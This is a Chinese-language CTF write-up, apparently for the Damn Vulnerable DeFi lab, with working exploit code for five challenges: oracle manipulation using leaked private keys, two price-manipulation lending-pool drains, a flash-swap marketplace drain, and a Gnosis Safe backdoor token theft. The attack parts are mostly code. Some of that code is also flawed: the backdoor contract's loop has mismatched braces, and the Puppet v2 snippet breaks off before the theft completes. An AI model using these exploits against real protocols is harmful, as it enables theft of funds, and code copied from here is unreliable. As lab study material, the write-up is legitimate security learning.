第七题:Compromised
题目中的字符串hex转ascii 再base解码得到3个truster中的2个钱包私钥。
通过让2个钱包地址提交修改价格可以影响中间价格。先设置为0.01购买后再改为exchange的剩余eth再卖出即可掏空exchange。
exp利用:
const key1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
const key2 = '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48';
const oracle1 = new ethers.Wallet(key1, ethers.provider);
const oracle2 = new ethers.Wallet(key2, ethers.provider);
console.log(oracle1.address);
console.log(oracle2.address);
const orc1Trust = this.oracle.connect(oracle1);
const orc2Trust = this.oracle.connect(oracle2);
const setMedianPrice = async (amount) => {
let currMedianPrice = await this.oracle.getMedianPrice("DVNFT");
console.log("Current median price is", currMedianPrice.toString());
console.log("Posting to oracle 1");
await orc1Trust.postPrice("DVNFT", amount)
currMedianPrice = await this.oracle.getMedianPrice("DVNFT");
console.log("Current median price is", currMedianPrice.toString());
console.log("Posting to oracle 2");
await orc2Trust.postPrice("DVNFT", amount)
currMedianPrice = await this.oracle.getMedianPrice("DVNFT");
console.log("Current median price is", currMedianPrice.toString());
}
let priceToSet = ethers.utils.parseEther("0.01");
await setMedianPrice(priceToSet);
const attackExchange = this.exchange.connect(attacker);
const attackNFT = this.nftToken.connect(attacker);
await attackExchange.buyOne({
value: priceToSet
})
const tokenId = 0;
const ownerId = await attackNFT.ownerOf(tokenId);
expect(ownerId).to.equal(attacker.address);
console.log("Setting price to balance of exchange");
const balOfExchange = await ethers.provider.getBalance(this.exchange.address);
priceToSet = balOfExchange
await setMedianPrice(priceToSet);
console.log("Selling NFT for the median price");
await attackNFT.approve(attackExchange.address, tokenId);
await attackExchange.sellOne(tokenId);
priceToSet = INITIAL_NFT_PRICE;
await setMedianPrice(priceToSet);
第八题:puppet
在calculateDepositRequired中乘法计算会导致整数溢出,但是需要大量的eth购买token无法达成,因为池子内eth和token数量太低,所以先大量卖出token影响token价格,再借取token。
exp代码:
const attackPuppet = this.lendingPool.connect(attacker);
const attackToken = this.token.connect(attacker);
const attackUniSwap = this.uniswapExchange.connect(attacker);
// Approve token to swap with UniSwap
console.log("Approving Initial Balance");
await attackToken.approve(attackUniSwap.address, ATTACKER_INITIAL_TOKEN_BALANCE);
console.log("Balance approved");
// Calculate ETH Pay out
const ethPayout = await attackUniSwap.getTokenToEthInputPrice(ATTACKER_INITIAL_TOKEN_BALANCE,
{
gasLimit: 1e6
});
console.log("Transfer of 1000 tokens will net", ethers.utils.formatEther(ethPayout))
console.log("Transferring tokens for ETH");
await attackUniSwap.tokenToEthSwapInput(
ethers.utils.parseEther('999'), // Exact amount of tokens to transfer
ethers.utils.parseEther("9"), // Min return of 9ETH
(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline
)
const deposit = await attackPuppet.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
console.log("Deposit required:", ethers.utils.formatEther(deposit));
await attackPuppet.borrow(POOL_INITIAL_TOKEN_BALANCE, {
value: deposit
})
const tokensToBuyBack = ATTACKER_INITIAL_TOKEN_BALANCE;
const ethReq = await attackUniSwap.getEthToTokenOutputPrice(tokensToBuyBack,
{
gasLimit: 1e6
})
console.log(`Eth Required for ${tokensToBuyBack} tokens:`, ethers.utils.formatEther(ethReq))
第九题:Puppet v2
与第八题基本一样,只不过交易对变成了weth:token
exp代码:
const attackWeth = this.weth.connect(attacker);
const attackToken = this.token.connect(attacker);
const attackRouter = this.uniswapRouter.connect(attacker);
const attackLender = this.lendingPool.connect(attacker);
await attackToken.approve(attackRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE);
await attackRouter.swapExactTokensForTokens(
ATTACKER_INITIAL_TOKEN_BALANCE, // transfer exactly 10,000 tokens
ethers.utils.parseEther("9"), // minimum of 9 WETH return
[attackToken.address, attackWeth.address], // token addresses
attacker.address,
(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline
)
console.log("***SWAPPED 10000 TOKENS FOR WETH***")
const deposit = await attackLender.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
console.log("Required deposit for all tokens is", ethers.utils.formatEther(deposit));
await attackWeth.approve(attackLender.address, deposit)
const tx = {
to: attackWeth.address,
value: ethers.utils.parseEther("19.9")
}
await attacker.sendTransaction(tx);
console.log("***Deposited 19.9 ETH TO WETH***")
const wethBalance = attackWeth.balanceOf(attacker.address);
await attackLender.borrow(POOL_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
});
第十题:Free rider
在buyone中有2个漏洞,1 是在将nft发送给买方后再获得tokenid的owner并发送eth等于又把eth打回给买方了,2是用msg. value来判断价格是否超出满足当前价格,如果多次执行就可以用一份的价格购买多个nft。
所以通过uniswap flashSwap借取15eth 购买并传送nft后再返还即可。
exp代码:
合约代码:
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IERC20.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
contract AttackFreeRider is IUniswapV2Callee , IERC721Receiver {
using Address for address;
address payable immutable weth;
address immutable dvt;
address immutable factory;
address payable immutable buyerMarketPlace;
address immutable buyer;
address immutable nft;
address immutable owner;
constructor(
address payable _weth,
address _factory,
address _dvt,
address payable _buyerMarketplace,
address _buyer,
address _nft
) {
weth = _weth;
dvt = _dvt;
factory = _factory;
buyerMarketPlace = _buyerMarketplace;
buyer = _buyer;
nft = _nft;
owner=msg.sender;
}
function flashSwap(address _tokenBorrow, uint256 _amount) external {
address pair = IUniswapV2Factory(factory).getPair(_tokenBorrow, dvt);
require(pair != address(0), "!pair init");
address token0 = IUniswapV2Pair(pair).token0();
address token1 = IUniswapV2Pair(pair).token1();
uint256 amount0Out = _tokenBorrow == token0 ? _amount : 0;
uint256 amount1Out = _tokenBorrow == token1 ? _amount : 0;
bytes memory data = abi.encode(_tokenBorrow, _amount);
IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);
}
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override {
address token0 = IUniswapV2Pair(msg.sender).token0();
address token1 = IUniswapV2Pair(msg.sender).token1();
address pair = IUniswapV2Factory(factory).getPair(token0, token1);
require(msg.sender == pair, "!pair");
require(sender == address(this), "!sender");
(address tokenBorrow, uint256 amount) = abi.decode(
data,
(address, uint256)
);
uint256 fee = ((amount * 3) / 997) + 1;
uint256 amountToRepay = amount + fee;
uint256 currBal = IERC20(tokenBorrow).balanceOf(address(this));
tokenBorrow.functionCall(abi.encodeWithSignature("withdraw(uint256)", currBal));
uint256[] memory tokenIds = new uint256[](6);
for (uint256 i = 0; i < 6; i++) {
tokenIds[i] = i;
}
FreeRiderNFTMarketplace(buyerMarketPlace).buyMany{value: 15 ether}(
tokenIds
);
uint256[] memory tokenIdsSell = new uint256[](2);
for (uint256 i = 0; i < 2; i++) {
tokenIdsSell[i] = i;
}
uint256[] memory ethervalue= new uint256[](2);
for (uint256 i = 0; i < 2; i++) {
ethervalue[i] = 15 ether;
}
DamnValuableNFT(nft).setApprovalForAll(buyerMarketPlace, true);
FreeRiderNFTMarketplace(buyerMarketPlace).offerMany(
tokenIdsSell,
ethervalue
);
FreeRiderNFTMarketplace(buyerMarketPlace).buyMany{value: 15 ether}(
tokenIdsSell
);
for (uint256 i = 0; i < 6; i++) {
DamnValuableNFT(nft).safeTransferFrom(address(this), buyer, i);
}
(bool success,) = weth.call{value: 15.1 ether}("");
require(success, "failed to deposit weth");
IERC20(tokenBorrow).transfer(pair, amountToRepay);
payable(owner).transfer(address(this).balance);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive () external payable {}
}
利用代码:
const attackWeth = this.weth.connect(attacker);
const attackToken = this.token.connect(attacker);
const attackFactory = this.uniswapFactory.connect(attacker);
const attackMarketplace = this.marketplace.connect(attacker);
const attackBuyer = this.buyerContract.connect(attacker);
const attackNft = this.nft.connect(attacker);
const AttackFactory = await ethers.getContractFactory("AttackFreeRider", attacker);
const attackContract = await AttackFactory.deploy(
attackWeth.address,
attackFactory.address,
attackToken.address,
attackMarketplace.address,
attackBuyer.address,
attackNft.address,
);
await attackContract.flashSwap(attackWeth.address, NFT_PRICE, {
gasLimit: 1e6
});
第十一题:backdoor
题目要求要从GnosisSafeProxyFactory创建合约并执行proxyCreated,即调用createProxyWithCallback函数创建合约,而且调用GnosisSafe中的setup函数初始化,setup函数中有设置owner和setmumodule用来delegetecall到任意合约的任意代码,所以可以通过设置owner和创建新合约内有approve授权token到attacker。。等token发送到合约钱包后,再转出到attacker即可
exp代码:
合约代码:
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "../DamnValuableToken.sol";
contract AttackBackdoor {
address public owner;
address public factory;
address public masterCopy;
address public walletRegistry;
address public token;
constructor(
address _owner,
address _factory,
address _masterCopy,
address _walletRegistry,
address _token
) {
owner = _owner;
factory = _factory;
masterCopy = _masterCopy;
walletRegistry = _walletRegistry;
token = _token;
}
function setupToken(address _tokenAddress, address _attacker) external {
DamnValuableToken(_tokenAddress).approve(_attacker, 10 ether);
}
function exploit(address[] memory users, bytes memory setupData) external {
for (uint256 i = 0; i < users.length; i++)
address user = users[i];
address[] memory victim = new address[](1);
victim[0] = user;
string
memory signatureString = "setup(address[],uint256,address,bytes,address,address,uint256,address)";
bytes memory initGnosis = abi.encodeWithSignature(
signatureString,
victim,
uint256(1),
address(this),
setupData,
address(0),
address(0),
uint256(0),
address(0)
);
GnosisSafeProxy newProxy = GnosisSafeProxyFactory(factory)
.createProxyWithCallback(
masterCopy,
initGnosis,
123,
IProxyCreationCallback(walletRegistry)
);
DamnValuableToken(token).transferFrom(
address(newProxy),
owner,
10 ether
);
}
}
}
利用代码:
const attackerToken = this.token.connect(attacker);
const attackerFactory = this.walletFactory.connect(attacker);
const attackerMasterCopy = this.masterCopy.connect(attacker);
const attackerWalletRegistry = this.walletRegistry.connect(attacker);
const AttackModuleFactory = await ethers.getContractFactory("AttackBackdoor", attacker);
const attackModule = await AttackModuleFactory.deploy(
attacker.address,
attackerFactory.address,
attackerMasterCopy.address,
attackerWalletRegistry.address,
attackerToken.address
);
const moduleABI = ["function setupToken(address _tokenAddress, address _attacker)"];
const moduleIFace = new ethers.utils.Interface(moduleABI);
const setupData = moduleIFace.encodeFunctionData("setupToken", [
attackerToken.address,
attackModule.address
])
await attackModule.exploit(users, setupData);